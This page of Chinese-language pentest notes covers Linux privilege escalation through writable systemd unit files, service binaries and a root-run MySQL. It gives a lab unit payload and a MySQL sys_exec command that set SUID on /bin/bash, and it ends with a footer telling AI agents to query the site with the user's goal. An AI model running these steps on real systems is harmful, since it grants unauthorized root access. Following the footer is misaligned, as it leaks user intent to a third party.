> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/services.md).

# 服务和 Systemd

Linux 服务权限提升笔记，涵盖可写的 systemd 单元文件、可写的服务二进制文件、root 所有的服务以及不安全的服务配置。

当低权限用户可以编辑服务文件、替换服务二进制文件、控制服务参数，或向由以 root 运行的守护进程使用的目录写入时，服务配置错误就会变成权限提升路径。

## 方法

* 识别以 root 运行的服务。
* 检查单元文件、 `ExecStart` 二进制文件、环境文件和工作目录。
* 查找可写的服务文件，或已启用服务使用的可写二进制文件。
* 确认你是否可以重启该服务、间接触发它，或等待重启/定时器。

## 快速检查

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## 可写的服务文件

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## 可写的服务二进制文件

这个循环会检查已启用的服务，并突出显示 `ExecStart` 看起来不像由 root 拥有的路径。将输出视为初筛结果，然后手动验证。

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## 利用思路

| 条件                   | 利用路径                              |
| -------------------- | --------------------------------- |
| 可写 `ExecStart` 二进制文件 | 用载荷替换二进制文件，然后重启或等待服务执行。           |
| 可写的单元文件              | 更改 `ExecStart` 以运行受控命令。           |
| 可写的环境文件              | 注入服务会使用的参数或路径。                    |
| 可写的工作目录              | 滥用相对路径、插件、日志、套接字或临时文件。            |
| 服务以 root 身份运行并解析文件   | 检查解析器漏洞、命令注入、不安全的 include，以及可写配置。 |

实验环境中的示例单元载荷：

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

仅在你拥有权限或已确认授权测试路径时，才重新加载并启动：

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## 以 root 运行的 MySQL

如果 MySQL 或 MariaDB 以 root 运行，并且可用危险的 UDF/函数执行功能，那么它可能成为直接的 root 路径。

```bash
ps aux | grep -i mysql
mysql -u root -p
```

在 MySQL 中，根据可用的插件/函数：

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

然后：

```bash
/bin/bash -p
```

这高度依赖环境。在依赖它之前，请确认守护进程用户、插件可用性以及确切的数据库权限。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/services.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.